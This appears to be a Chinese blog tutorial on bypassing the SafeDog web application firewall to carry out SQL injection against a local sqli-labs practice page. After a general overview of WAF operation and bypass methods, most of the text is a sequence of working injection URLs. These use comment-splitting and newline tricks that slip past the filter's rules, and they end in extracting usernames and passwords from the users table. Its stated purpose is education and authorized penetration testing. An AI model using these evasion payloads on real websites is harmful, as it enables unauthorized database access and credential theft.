安全狗WAF绕过系列

一、WAF概述

WAF(Web应用防火墙)作为一种专为Web应用程序设计的安全防护工具,其核心功能在于通过实施一系列针对HTTP/HTTPS协议的安全策略,来增强Web应用的安全性。WAF内置了精心设计的检测逻辑与规则集,这些规则旨在对每一个进入系统的请求内容进行细致审查,并对任何违反安全策略的请求采取即时且有效的防御措施,从而维护Web应用环境的纯净与安全。

二、WAF工作机制详解

WAF的工作流程精心构建,涵盖四个关键环节:预处理、规则匹配、响应处理以及日志记录,共同编织成一张紧密的安全防护网。

  1. 预处理阶段:此阶段,WAF首先担任起“守门人”的角色,对所有进入的数据请求流量进行初步筛选,确认其是否遵循HTTP/HTTPS协议标准。紧接着,WAF会利用预设的白名单机制,快速识别并放行那些已知安全或信任的URL请求,直接引导它们进入后端Web服务器进行处理。对于未能通过白名单验证的请求,WAF则进一步深入,对其数据包进行精细解析,为后续的安全检测做准备。
  2. 规则匹配阶段:此为核心环节,WAF利用其内置的强大规则引擎,对经过解析的数据包进行深度扫描与匹配。这些规则覆盖了广泛的攻击场景与模式,包括但不限于SQL注入、跨站脚本(XSS)、命令注入等常见Web安全威胁。通过这一过程,WAF能够精准识别出潜在的恶意请求,为后续的安全响应奠定坚实基础。
  3. 响应处理阶段:基于规则匹配的结果,WAF的响应处理模块将采取针对性的防御措施。对于符合安全规则的请求,WAF会毫无阻碍地将其转发至后端Web服务器,确保用户请求得到及时响应。而对于那些被判定为恶意或异常的请求,WAF则展现出其防御实力,通过阻断请求、记录日志或触发告警等多种方式,有效遏制潜在的安全风险,保护Web应用免受侵害。

三、常见的waf绕过姿势

常见的WAF(Web应用防火墙)绕过姿势包括但不限于以下几种:

  1. 提交方式变换:许多WAF默认配置下主要对GET请求进行过滤,而忽略POST请求、Cookie、HTTP头等其他提交方式。因此,可以尝试将攻击载荷通过不同的提交方式进行发送,以绕过WAF的检测。
  2. 大小写替换和编码绕过:利用WAF规则可能不区分大小写或无法完全解析编码后的攻击载荷,通过将攻击语句中的关键字进行大小写替换或使用URL编码、Base64编码等方式进行编码,以绕过WAF的过滤规则。
  3. 事件函数变换:WAF会重点识别触发JavaScript代码执行的事件函数字段,如onclick。通过变换事件函数名称或利用其他不常见的事件函数,可以尝试绕过WAF的识别。
  4. 注释符和内联注释:使用SQL注释符(如--#)或HTML/JavaScript注释(如<!-- -->//)来绕过WAF对特定关键字的过滤。有时,将攻击载荷与注释符结合使用,可以欺骗WAF使其忽略部分攻击载荷。
  5. 分片传输:通过调整HTTP请求中的Content-Length头部,将攻击载荷分成多个部分发送,可能导致WAF无法完整解析请求内容,从而绕过检测。
  6. 利用WAF软肋:WAF在部署时可能因性能考虑而留下一些软肋,如对某些特殊字符或组合的检测不够严格。通过分析和测试WAF的行为,可能发现并利用这些软肋进行绕过。
  7. 爬虫白名单绕过:部分WAF提供爬虫白名单功能,通过伪装成爬虫(修改User-Agent或模拟爬虫行为)可能绕过WAF的检测。
  8. 高并发流量攻击:通过发送大量垃圾数据或高并发请求,使WAF设备进入Bypass IPS模式或达到性能极限,从而暂时或永久性地绕过WAF的防护。

请注意,上述绕过姿势仅供安全研究和教育目的使用。未经授权的渗透测试和网络攻击是非法行为,可能会对个人和组织造成严重的法律后果。在进行任何渗透测试之前,请确保已获得合法授权。

四、安全狗绕过姿势

环境:phpstudy—apache2.4.39

安全狗官网v4.0下载(应该是最新版):https://www.safedog.cn/website_safedog.html

当然如果需要套件,我都给你准备好了关注后台回复【安全狗】即可获取,感谢宝子们一直以来的关注

image-20240716123145404

image-20240716123046249

在开始之前,如果没有sql注入基础的的童鞋,还请观看我的另外一篇文章,1w字超详细解析。

image-20240716104805094

以下内容皆使用sqli第一关进行测试

image-20240716111521447

测试 id=1' and 1=1

http://192.168.209.131/Less-1/?id=-1' and 1=1

image-20240715165511624

在之前的尝试中,我们发现直接使用“and 1=1”这种方法似乎并不奏效,这很可能是因为安全狗系统识别并过滤了“and”这个词。为了更深入地了解安全狗是如何识别并拦截这类操作的,我们可以尝试将“and 1=1”进行拆分

http://192.168.10.129:8080/sqli/Less-1/?id=1' and --+
http://192.168.10.129:8080/sqli/Less-1/?id=1' 1=1 --+

发现两个页面均返回SQL语法错误,这表明安全狗不会单独过滤‘and’或‘1=1’。我推测它可能是识别到‘and’后紧跟空格和字符的模式。为了验证这一点,我决定进行实验。

http://192.168.10.129:8080/sqli/Less-1/?id=1' and1--+
http://192.168.10.129:8080/sqli/Less-1/?id=1' and 1--+

实验结果,证实了确实是and+空格+字符串的格式会被拦截。

这里我们就可以开始尝试利用注释符回车符%0a等来代替空格进行绕过了!!

在此输入:

http://192.168.10.129:8080/sqli/Less-1/?id=1' and/**/1=1--+

发现依旧不行,打开burp suite,拦截下我们阻截的包,添加$payload到我们测试的注释符中然后点击发送到intruder模块,选择如下:

image-20240715170533486

然后,点击pyload,选择暴力破解(Brute forcer):

image-20240715170457261

attack,开始攻击,安全狗有流量攻击的防御,后面可能会被拦截,解决办法直接重启apache服务器。好了这里测试完成了,点击length更改默认排序,我们拿每个请求成功payload(检查response即可查看是否成功,如果用户名正常显示,说明该字符payload安全狗没有进行拦截)。

image-20240715170405683

我们随便娶一个/!*得到payload和注释符拼接/*/!**/,这个时候and和后面的1=1之间用这个拼接的符号进行连接即可

http://192.168.209.131/Less-1/?id=1' and/*/!**/1=1 --+

可以绕过了

image-20240715170823637

order by测试,我们用之前的测试结果,利用/*/!**/这一个充当空格,测试order by 3,然后看看能否成功?

http://192.168.209.131/Less-1/?id=1' order/*/!**/by 3 --+

image-20240715172306698

完美,接下来测试联合注入。普通测试union select:

http://192.168.209.131/Less-1/?id=1' union select --+

image-20240715172414774

union关键字测试,有回显

http://192.168.209.131/Less-1/?id=1' union --+

image-20240715172507322

select关键字测试,有回显

http://192.168.209.131/Less-1/?id=1' select --+

image-20240715172540647

已知安全狗WAF对联合注入的拦截规则是识别到union select字符串。为了探索是否能利用注释符绕过这一规则,我决定采用与之前相同的方法,利用Burp进行抓包,并加强fuzz测试中的参数进行暴力破解尝试。

image-20240715205818846

随便选择几个1002长度的响应结果

image-20240715205744548

这里我们选择payload,取/!*!/,构造注释符+payload,为/*/!*!/*/,插入union和select之间,绕过成功

http://192.168.5.64/Less-1/?id=1' union/*/!*!/*/select 1,2,3 --+

image-20240715210114937

这里还有一个思路,可以利用--+%0a这种格式通过换行继续执行,这里我们试一下看看:

Tips:我的另一篇sql注入文章有写过%0a的作用,后台回复【sql注入】【sql】等关键字即可查看

http://192.168.5.64/Less-1/?id=-1%27%20union/*!--+/*%0aselect%201,database(),3*/%20--+
相当于在普通sql语句中的
http://192.168.5.64/Less-1/?id=-1' union/*!--+/*
select 1,database(),3*/ --+

image-20240715211304899

尝试报数据库

http://192.168.5.64/Less-1/?id=-1' union/*/!*!/*/select 1,database(),3 --+

发现database()被拦截了

image-20240715211803058

我们把database的()给去掉

http://192.168.5.64/Less-1/?id=-1' union/*/!*!/*/select 1,database,3 --+

报错,此时就可以确定,安全狗应该是将database()进行检测

image-20240715212006918

然后我们继续使用注释符或者内联注释符看看吧:

继续采用burp的fuzz测试:添加上变量

image-20240715213751892

扫出来4个/可以用,最简单的

image-20240715213840696

和之前一样,就不强调了,取注释符+payload,构造payload

http://192.168.5.64/Less-1/?id=-1' union/*/!*!/*/select 1,database/*////*/(),3 --+

image-20240715214011786

成功了!接下来一个一个关键词测试,group_concat()

http://192.168.5.64/Less-1/?id=-1' union/*/!*!/*/select 1,database/*////*/(),group_concat(table_name) --+

image-20240715214342969

没有拦截,继续from

http://192.168.5.64/Less-1/?id=-1' union/*/!*!/*/select 1,database/*////*/(),group_concat(table_name) from --+

image-20240715214416033

informtion_schema.tables,结果就不行了

http://192.168.5.64/Less-1/?id=-1' union/*/!*!/*/select 1,database/*////*/(),group_concat(table_name) from informtion_schema.tables --+

image-20240715215224759

测试%0a

http://192.168.209.131/Less-1/?id=-1%27%20union/*/!*!/*/select%201,database/*////*/(),group_concat(table_name)%20from%20/*!--%20/*%0ainformation_schema.tables*/
相当于
http://192.168.209.131/Less-1/?id=-1' union/*/!*!/*/select 1,database/*////*/(),group_concat(table_name) from /*!-- /*
information_schema.tables*/

image-20240716093748206

测试查当前数据库的表名,前面已经测试过database()了

http://192.168.209.131/Less-1/?id=-1%27%20union/*/!*!/*/select%201,database/*////*/(),group_concat(table_name)%20from%20/*!--%20/*%0ainformation_schema.tables*/where%20table_schema=database/*////*/()%20--+
相当于
http://192.168.209.131/Less-1/?id=-1' union/*/!*!/*/select 1,database/*////*/(),group_concat(table_name) from /*!-- /*
information_schema.tables*/where table_schema=database/*////*/() --+

image-20240716093930467

爆字段,测试到and,table_name都没拦截

http://192.168.209.131/Less-1/?id=-1%27%20union/*/!*!/*/select%201,database/*////*/(),group_concat(column_name)%20from%20/*!--%20/*%0ainformation_schema.tables*/where%20table_schema=database/*////*/()%20and%20table_name%20--+
相当于
http://192.168.209.131/Less-1/?id=-1' union/*/!*!/*/select 1,database/*////*/(),group_concat(column_name) from /*!-- /*
information_schema.tables*/where table_schema=database/*////*/() and table_name --+

image-20240716095210635

直到table_name后面加了个=

http://192.168.209.131/Less-1/?id=-1%27%20union/*/!*!/*/select%201,database/*////*/(),group_concat(column_name)%20from%20/*!--%20/*%0ainformation_schema.tables*/where%20table_schema=database/*////*/()%20and%20table_name=%20--+
相当于
http://192.168.209.131/Less-1/?id=-1' union/*/!*!/*/select 1,database/*////*/(),group_concat(column_name) from /*!-- /*
information_schema.tables*/where table_schema=database/*////*/() and table_name= --+

image-20240716095144657

那么开始fuzz测试爆破

image-20240716103253642

随便娶一个payload和注释符进行拼接,如下

http://192.168.209.131/Less-1/?id=-1%27%20union/*/!*!/*/select%201,database/*////*/(),group_concat(column_name)%20from%20/*!--%20/*%0ainformation_schema.columns*/where%20table_schema=database/*////*/()%20and%20table_name/*/***/=%22users%22%20--+
相当于
http://192.168.209.131/Less-1/?id=-1' union/*/!*!/*/select 1,database/*////*/(),group_concat(column_name) from /*!-- /*
information_schema.columns*/where table_schema=database/*////*/() and table_name/*/***/="users" --+

image-20240716103446751

回车%0a的绕过方式

http://192.168.209.131/Less-1/?id=-1%27%20union/*/!*!/*/select%201,database/*////*/(),group_concat(column_name)%20from%20/*!--%20/*%0ainformation_schema.columns*/where%20table_schema=database/*////*/()%20and%20/*!--%20/*%0atable_name*/=%22users%22%20--+
相当于
http://192.168.209.131/Less-1/?id=-1' union/*/!*!/*/select 1,database/*////*/(),group_concat(column_name) from /*!-- /*
information_schema.columns*/where table_schema=database/*////*/() and /*!-- /*
table_name*/="users" --+

image-20240716103752507

爆数据,已知表名为users,字段为id,username,password,并设置每个字段的分隔符为-,separator '-'

http://192.168.209.131/Less-1/?id=-1%27%20union/*/!*!/*/select%201,database/*////*/(),group_concat(id,username,password%20separator%20%27-%27)%20from%20/*!--%20/*%0ausers*/%20--+
相当于
http://192.168.209.131/Less-1/?id=-1' union/*/!*!/*/select 1,database/*////*/(),group_concat(id,username,password separator '-') from /*!-- /*
users*/ --+

image-20240716104419572

总结

通过本文的详细解析和实验,我们深入了解了SQL注入攻击的基本原理及其在实际应用中的变种和绕过技巧。在面对如安全狗这样的WAF防护时,攻击者并非束手无策,而是可以通过多种方式绕过检测规则,成功实施SQL注入攻击。

本文首先通过基础的SQL注入测试,验证了安全狗WAF对“and 1=1”等简单SQL注入模式的识别能力。随后,通过拆分和注释符的使用,我们发现WAF可能是通过识别特定模式(如“and”后紧跟空格和字符)来拦截SQL注入的。基于此发现,我们进一步尝试利用注释符、换行符等技术手段绕过WAF的检测,成功实施了更复杂的SQL注入攻击,包括联合查询注入,获取数据库表名、列名以及具体数据等。

通过本文的学习,我们不仅能够加深对SQL注入攻击的理解,还能够掌握一些实用的绕过WAF防护的技巧。然而,需要强调的是,这些技巧仅用于合法的安全测试和教育目的,任何未经授权的SQL注入攻击都是非法的,并可能带来严重的法律后果。因此,我们呼吁广大开发人员和安全从业者,应持续关注和提升Web应用的安全性,共同维护网络空间的安全与稳定。

免责声明:本渗透教程仅供安全研究与教育目的使用。任何未经授权的网络活动均属非法。读者应确保拥有合法权限,并对自己的行为负责。教程内容不保证绝对安全或成功,使用风险自负。

网安学习不迷路,咨询,破解工具,py脚本分享,欢迎各位大佬来群内进行交流

414965cc83c696af30120bbbb14e718
posted @ 2024-09-18 15:21  白小雨  阅读(48)  评论(0编辑  收藏  举报